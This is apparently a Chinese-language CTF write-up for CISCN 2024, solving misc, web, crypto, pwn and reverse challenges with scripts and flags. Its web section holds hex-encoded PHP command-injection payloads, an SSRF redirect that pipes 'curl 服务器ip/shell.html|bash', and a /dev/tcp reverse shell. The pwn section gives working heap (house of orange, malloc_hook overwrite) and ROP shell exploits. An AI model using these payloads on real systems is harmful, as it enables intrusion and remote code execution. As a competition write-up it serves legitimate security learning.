目录
一、Misc
1、火锅链观光打卡
没什么多说的,知识问答题
兑换 NFT
Flag{y0u_ar3_hotpot_K1ng}
2、神秘文件
首先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可
PPT 里面找到了很多东西:
改zip后缀,在 world 文档里有发现:
图片:
总共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔细了:
在压缩包里找到了二进制文件
i13POMdzEAzHfy4dGS+vUA==
这里是 base64+RC4+base64
得到 PArt3:3-34
ppt 文件属性:
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld
Key:lanjing;
得到Part1:flag{e
ppt母版:
去掉Bb13后解 base64
得到 paRt8:87e
选择窗格:
Rot13+base64
得到PART7=22b3
拼接得到最终 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}
3、Power Trajectory Diagram
测试代码:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
for i in range(len(dd)):
plt.scatter([i for i in range(len(dd[i]))], dd[i])
plt.show()
从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据 index 每 40 个可得出一个明文,大致判断共有 13 个明文。
input是一个表
output 为空
trace 里的数据都是小数
尝试对 trace 里的数据画点图:
发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:
import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
for i in range(len(dd)):
min_index = np.argmin(dd[i])
print(f"Minimum index for group {i}: {min_index}")
除了最后一组数据全为 985,其余数据中都有其他不同的数字
用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:
exp:
import numpy as np
import matplotlib.pyplot as plt
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
flag = ""
for _ in range(13):
t = []
table = ip[40*_:40*(_+1)]
for i in range(40):
# 每个列表画一个散点图,发现最小值
# plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
# plt.show()
# 获取该列表的最小值的下标
min = np.argmin(tr[_*40+i])
# 将最小值的下标插入新列表
t.append(min)
# 用 40 个列表的最小值的下标作为数据,画图,发现有最大值
for i in range(len(t)):
plt.scatter([i for i in range(len(t))], np.array(t))
plt.show()
# 求最大值的下标
mins = np.argmax(t)
# 用下标从表里取字符
ind = table[mins]
# 把字符加到flag里
flag += ind
print(flag)
得到:_ciscn_2024_a
由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算
去掉 a 得到最终flag为:flag{_ciscn_2024_}
4、通风机
补全文件头:47 4A 4B
使用西门子工控软件加载 mwp 文件
在符号表下面存在 base64 编码
提取数据:ZmxhZ3syNDY3Y2UyNi1mZmY5LTQwMDgtOGQ1NS0xN2RmODNlY2JmYzJ9
解码得到:flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}
二、Web
1、Simple_php
这里过滤东西太多了,基本没什么系统命令能直接执行
使用十六进制编码绕过:system('ls');
Payload:cmd=php -r eval(hex2bin(substr(_73797374656d28276c7327293b,1)));
执行成功
尝试读取根目录下的 flag:system('cat /f*');
Payload:cmd=php -r eval(hex2bin(substr(_73797374656d2827636174202f662a27293b,1)));
但是很遗憾没有
由于这里没有给 flag 路径,我们只能从数据库里面读,用户名和密码都是 root
查库:
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77206461746162617365733b27603b,1)));
查表:
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));
存在一个名为 F1ag_Se3Re7 的表
直接查该表下的所有内容:
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;
编码后 payload:
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
拿到 flag{ec950ff9-ffa3-4bf2-8d32-cac3392c4ff2}
2、easycms_revenge
由第一天的这个题目的提示,只有通过 web 服务本地访问 /flag.php 路径才能进行代码执行
去 github 找源码, 发现了一个生成二维码的方法 qrcode,可以 rce
先在公网上启一个 php 的web服务,重定向访问到 127.0.0.1 的flag.php路径
直接构造反弹shell
启动完成,公网服务器开监听监测弹回的 shell
回到 web 题目 构造请求
将 thumb 参数替换为自己启动的 web 服务重定向接口路径
构造payload:
/?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip
查看服务器,已经反弹 shell 成功,寻找 flag,在根目录下执行 /readflag /flag
公网服务器 index.php:
GIF89a
<?php
echo "GIF89a";
$url = "http://127.0.0.1/flag.php?cmd=curl 服务器ip/shell.html|bash";
header('location:'.$url,true,302);
exit();
?>
Shell.html:
bash -i >& /dev/tcp/服务器ip/7777 0>&1
flag{db1a0387-4dfe-400e-af2e-9cd91b96f2bf}
三、Crypto
1、OvO
给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。
cop 攻击,exp:
# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
def partial_p(p0, n, bits):
PR.<x> = PolynomialRing(Zmod(n))
f = p0 + x
f = f.monic()
roots = f.small_roots(X=2^(bits+5), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(p0 + x0, n)
return ZZ(p)
def find_p(eh, n, bits):
RR = RealField(1000)
PR.<x> = PolynomialRing(RR)
f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
results = f.roots()
if results:
for x in results:
p_high = int(x[0]) >> 4 << 4
p = partial_p(p_high, n, bits)
if p and p != 1:
return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
q = n // p
phi_n = (p - 1) * (q - 1)
# Computing the new e based on kk and rr
new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
# Computing the private key d
d = inverse_mod(new_e, phi_n)
# Decrypting the ciphertext
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
2、古典密码
密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三层解密:埃特巴什+base64+栅栏
拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
四、pwn
1、orange_cat_diary
程序中的free和show都只能使用一次.根据提示利用 house of orange.改写top chunk的size,这样下一次申请堆空间,top chunk就变成了unsorted chunk.
add(0x18,'aaaa')
edit(0x20,p64(0xfe1)*4)
add(0x1000,'aaaa')
add(0x408,'')
多申请八个字节,是为了满足这个条件,这样就能修改chunk size了
这里的0xfe1是为了页面对齐.申请0x408,把ptr改到unsorted chunk前面,用show泄露libc后.再通过伪造堆块到malloc_hook附近(这里通过修改fd来实现),把one_gadget写入hook中,这样下次申请堆就能getshell了.
exp:
from pwn import *
#p = process('./pwn')
p = remote('8.147.133.63',38667)
#context.log_level='debug'
libc=ELF('libc-2.23.so')
p.recvuntil('Please tell me your name.')
p.sendline('qwe')
def add(size, data):
p.recvuntil('Please input your choice:')
p.sendline('1')
p.recvuntil('Please input the length of the diary content:')
p.sendline(str(size))
p.recvuntil('Please enter the diary content:')
p.sendline(data)
def fre():
p.recvuntil('Please input your choice:')
p.sendline('3')
def show():
p.recvuntil('Please input your choice:')
p.sendline('2')
def edit(size, data):
p.recvuntil('Please input your choice:')
p.sendline('4')
p.recvuntil('Please input the length of the diary content:')
p.sendline(str(size))
p.recvuntil('Please enter the diary content:')
p.send(data)
add(0x18,'aaaa')
edit(0x20,p64(0xfe1)*4)
add(0x1000,'aaaa')
add(0x408,'')
show()
p.recv(6)
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, "\x00")) -0x668
p.recv(2)
addr1 = u64(p.recv(6).ljust(8,'\x00'))-0x20
print hex(addr)
print hex(addr1)
main_arena= libc.sym['__malloc_hook'] +0x10
libc_base=addr-main_arena
print hex(libc_base)
malloc = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
#pl='a'*0x400+p64(0)+p64(0x61)
one=0xf03a4+libc_base
add(0x68,'')
fre()
edit(0x20,p64(malloc-0x23))
add(0x68,'aaaa')
#add(0x68,'a'*(0x13-8)+p64(one)+p64(realloc))
add(0x68,'a'*(0x13)+p64(one))
#gdb.attach(p)
p.interactive()
flag{ceac7d38-0a1d-4818-9d3b-b60bfefdbae1}
2、gostack
在bufio__ptr_Scanner_Scan疑似有栈溢出
输入大量数据进行测试:
找到确切填充数量
找gadget.然后构造rop.先往bss写/bin/sh,然后用syscall去执行
注意,在syscall后执行了一段代码破坏了我们输入的payload
通过填充ret,让程序顺利跳转到第二段payload进行执行
exp:
from pwn import *
context(arch='amd64',os='linux')
elf = ELF('gostack')
libc = elf.libc
ret=0x000000000040201a
syscall = 0x0000000000404043
rax_ret = 0x000000000040f984
rdi_6_ret = 0x00000000004a18a5
rsi_ret = 0x000000000042138a
rdx_ret = 0x00000000004944ec
p=process('./gostack')
p.recvuntil('message :')
payload = b'\x00'*0x1d0
payload += p64(rdi_6_ret)+p64(0)*6+p64(rsi_ret)+p64(elf.bss()+0x200)+p64(rdx_ret)+p64(0x100)+p64(rax_ret)+p64(0)+p64(syscall)
payload += p64(ret)+p64(ret)+p64(ret)+p64(ret)
payload += p64(rdi_6_ret)+p64(elf.bss()+0x200)+p64(0)*5+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(rax_ret)+p64(59)+p64(syscall)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
flag{6fa5dfc4-b92d-45d0-8a56-4472ec941505}
五、Reverse
1、asm_re
下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了
找到关键部分,整理一下
数据存在__const段里,注意小端法提取一下
然后就可以脚本解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
flag+=decodechr
print((flag))
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}
2、androidso_re
用jadx打开,定位到mainactivity
使用函数legal进行了判断,函数里使用了方法inspect,查看一下
这里关键的两个参数就是key和iv,解压安装包看看so
直接hook
function main() {
Java.perform(function () {
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("com.example.re11113.inspect");
var key = CheckerClass.getKey();
console.log("Key: " + key);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {}
});
});
}
setTimeout(main,1000);
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class FlagDecryptor {
private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
private static final String CHARSET = StandardCharsets.UTF_8.name();
public static void main(String[] args) {
try {
String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
String decryptedString = decryptFlag(encryptedFlag);
System.out.println("Decrypted string: " + decryptedString);
} catch (Exception e) {
System.err.println("Decryption failed: " + e.getMessage());
}
}
private static String decryptFlag(String encryptedFlag) throws Exception {
byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
IvParameterSpec iv = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, iv);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, CHARSET);
}
static class JniUtils {
public static String getKey() {
return "A8UdWaeq";
}
public static String getIv() {
return "Wf3DLups";
}
}
}
flag{188cba3a5c0fbb2250b5a2e590c391ce}
3、whereThel1b
打开py文件
逻辑很清晰,主要的加密内容肯定是在so文件里面
这个文件有很强的python编译特征,可以考虑进行反编译
特征函数,编写exp:
import base64
import random
random.seed(0)
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
print(decoded_flag)
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}